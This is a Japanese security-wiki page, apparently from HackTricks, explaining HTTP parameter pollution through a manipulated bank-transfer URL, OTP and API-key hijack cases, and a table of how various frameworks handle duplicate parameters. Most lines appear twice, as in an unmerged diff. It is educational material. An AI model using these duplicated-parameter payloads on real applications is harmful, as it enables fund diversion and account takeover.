HTTPパラメータ汚染 (HPP) は、攻撃者がHTTPパラメータを操作して、ウェブアプリケーションの動作を意図しない方法で変更する技術です。この操作は、HTTPパラメータを追加、変更、または複製することによって行われます。これらの操作の影響はユーザーには直接見えませんが、サーバー側のアプリケーションの機能を大きく変更し、クライアント側に観察可能な影響を与えることがあります。
|
||||
### HTTPパラメータ汚染 (HPP) の例
|
||||
|
||||
## HTTPパラメータ汚染 (HPP) の例
|
||||
銀行アプリケーションの取引URL:
|
||||
|
||||
銀行アプリケーションの取引URL:
|
||||
* **元のURL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
|
||||
|
||||
- **元のURL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
|
||||
追加の`from`パラメータを挿入することによって:
|
||||
|
||||
追加の `from` パラメータを挿入することによって:
|
||||
* **操作されたURL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
|
||||
|
||||
- **操作されたURL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
|
||||
取引が`accountA`ではなく`accountC`に誤って請求される可能性があり、HPPが取引やパスワードリセット、2FA設定、APIキーリクエストなどの他の機能を操作する可能性を示しています。
|
||||
|
||||
取引が `accountA` ではなく `accountC` に誤って請求される可能性があり、HPPが取引やパスワードリセット、2FA設定、APIキーリクエストなどの他の機能を操作する可能性を示しています。
|
||||
#### **技術特有のパラメータ解析**
|
||||
|
||||
### **技術特有のパラメータ解析**
|
||||
* パラメータが解析され、優先される方法は、基盤となるWeb技術によって異なり、HPPがどのように悪用されるかに影響を与えます。
|
||||
* [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)のようなツールは、これらの技術とその解析動作を特定するのに役立ちます。
|
||||
|
||||
- パラメータが解析され、優先される方法は、基盤となるウェブ技術によって異なり、HPPがどのように悪用されるかに影響を与えます。
|
||||
- [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)のようなツールは、これらの技術とその解析動作を特定するのに役立ちます。
|
||||
### PHPとHPPの悪用
|
||||
|
||||
## PHPとHPPの悪用
|
||||
**OTP操作のケース:**
|
||||
|
||||
**OTP操作ケース:**
|
||||
* **コンテキスト:** ワンタイムパスワード (OTP) を必要とするログインメカニズムが悪用されました。
|
||||
* **方法:** Burp Suiteのようなツールを使用してOTPリクエストを傍受し、攻撃者はHTTPリクエスト内の`email`パラメータを複製しました。
|
||||
* **結果:** 初期のメール用に意図されたOTPが、操作されたリクエストで指定された2番目のメールアドレスに送信されました。この欠陥により、意図されたセキュリティ対策を回避して不正アクセスが可能になりました。
|
||||
|
||||
- **コンテキスト:** ワンタイムパスワード (OTP) を必要とするログインメカニズムが悪用されました。
|
||||
- **方法:** Burp Suiteのようなツールを使用してOTPリクエストを傍受し、攻撃者はHTTPリクエスト内の `email` パラメータを複製しました。
|
||||
- **結果:** 初期のメール用に意図されたOTPが、操作されたリクエストで指定された2番目のメールアドレスに送信されました。この欠陥により、意図されたセキュリティ対策を回避して不正アクセスが可能になりました。
|
||||
このシナリオは、OTP生成のために最初の`email`パラメータを処理したが、配信には最後のものを使用したアプリケーションのバックエンドの重大な見落としを強調しています。
|
||||
|
||||
このシナリオは、OTP生成のために最初の `email` パラメータを処理したが、配信には最後のものを使用したアプリケーションのバックエンドの重大な見落としを強調しています。
|
||||
**APIキー操作のケース:**
|
||||
|
||||
**APIキー操作ケース:**
|
||||
|
||||
- **シナリオ:** アプリケーションは、ユーザーがプロフィール設定ページを通じてAPIキーを更新できるようにしています。
|
||||
- **攻撃ベクトル:** 攻撃者は、POSTリクエストに追加の `api_key` パラメータを追加することで、APIキー更新機能の結果を操作できることを発見しました。
|
||||
- **技術:** Burp Suiteのようなツールを利用して、攻撃者は1つの正当な `api_key` パラメータと1つの悪意のある `api_key` パラメータを含むリクエストを作成します。サーバーは最後の出現のみを処理し、攻撃者が提供した値にAPIキーを更新します。
|
||||
- **結果:** 攻撃者は被害者のAPI機能を制御し、プライベートデータに不正にアクセスまたは変更する可能性があります。
|
||||
* **シナリオ:** アプリケーションは、ユーザーがプロフィール設定ページを通じてAPIキーを更新できるようにしています。
|
||||
* **攻撃ベクター:** 攻撃者は、POSTリクエストに追加の`api_key`パラメータを追加することで、APIキー更新機能の結果を操作できることを発見しました。
|
||||
* **技術:** Burp Suiteのようなツールを利用して、攻撃者は2つの`api_key`パラメータを含むリクエストを作成します: 1つは正当なもので、もう1つは悪意のあるものです。サーバーは最後の出現のみを処理し、攻撃者が提供した値にAPIキーを更新します。
|
||||
* **結果:** 攻撃者は被害者のAPI機能を制御し、プライベートデータに不正にアクセスまたは変更する可能性があります。
|
||||
|
||||
この例は、特にAPIキー管理のような重要な機能における安全なパラメータ処理の必要性をさらに強調しています。
|
||||
|
||||
## パラメータ解析:Flask vs. PHP
|
||||
### パラメータ解析: Flask vs. PHP
|
||||
|
||||
ウェブ技術が重複したHTTPパラメータを処理する方法は異なり、HPP攻撃に対する脆弱性に影響を与えます:
|
||||
Web技術が重複したHTTPパラメータを処理する方法は異なり、HPP攻撃に対する脆弱性に影響を与えます:
|
||||
|
||||
- **Flask:** クエリ文字列 `a=1&a=2` のように、最初に遭遇したパラメータ値を採用し、最初のインスタンスを後続の重複よりも優先します。
|
||||
- **PHP (Apache HTTPサーバー上):** 逆に、最後のパラメータ値を優先し、与えられた例では `a=2` を選択します。この動作は、攻撃者の操作されたパラメータを元のものよりも優先することによって、HPPの悪用を無意識に助長する可能性があります。
|
||||
* **Flask:** クエリ文字列`a=1&a=2`のように、最初に遭遇したパラメータ値を採用し、最初のインスタンスを後続の重複よりも優先します。
|
||||
* **PHP (Apache HTTPサーバー上):** 逆に、最後のパラメータ値を優先し、与えられた例では`a=2`を選択します。この動作は、攻撃者が操作したパラメータを元のものよりも優先することによって、HPPの悪用を無意識に助長する可能性があります。
|
||||
|
||||
## 技術によるパラメータ汚染
|
||||
|
||||
結果は[https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)から取得されました。
|
||||
|
||||
### PHP 8.3.11 および Apache 2.4.62 <a href="#id-9523" id="id-9523"></a>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1255).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. パラメータ名の後の%00を無視します。
|
||||
2. name\[]を配列として処理します。
|
||||
3. \_GETはGETメソッドを意味しません。
|
||||
4. 最後のパラメータを優先します。
|
||||
|
||||
### Ruby 3.3.5 および WEBrick 1.8.2
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1257).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. &および;区切り文字を使用してパラメータを分割します。
|
||||
2. name\[]は認識されません。
|
||||
3. 最初のパラメータを優先します。
|
||||
|
||||
### Spring MVC 6.0.23 および Apache Tomcat 10.1.30 <a href="#dd68" id="dd68"></a>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1258).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping。
|
||||
2. POST RequestMapping & PostMappingはname\[]を認識します。
|
||||
3. nameとname\[]が存在する場合はnameを優先します。
|
||||
4. パラメータを連結します(例: first,last)。
|
||||
5. POST RequestMapping & PostMappingはContent-Typeを持つクエリパラメータを認識します。
|
||||
|
||||
### **NodeJS** 20.17.0 **および** Express 4.21.0 <a href="#id-6d72" id="id-6d72"></a>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1259).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. name\[]を認識します。
|
||||
2. パラメータを連結します(例: first,last)。
|
||||
|
||||
### GO 1.22.7 <a href="#id-63dc" id="id-63dc"></a>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1260).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. name\[]は認識されません。
|
||||
2. 最初のパラメータを優先します。
|
||||
|
||||
### Python 3.12.6 および Werkzeug 3.0.4 および Flask 3.0.3 <a href="#b853" id="b853"></a>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1261).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. name\[]は認識されません。
|
||||
2. 最初のパラメータを優先します。
|
||||
|
||||
### Python 3.12.6 および Django 4.2.15 <a href="#id-8079" id="id-8079"></a>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1262).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. name\[]は認識されません。
|
||||
2. 最後のパラメータを優先します。
|
||||
|
||||
### Python 3.12.6 および Tornado 6.4.1 <a href="#id-2ad8" id="id-2ad8"></a>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1263).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. name\[]は認識されません。
|
||||
2. 最後のパラメータを優先します。
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
|
||||
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
|
||||
* [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|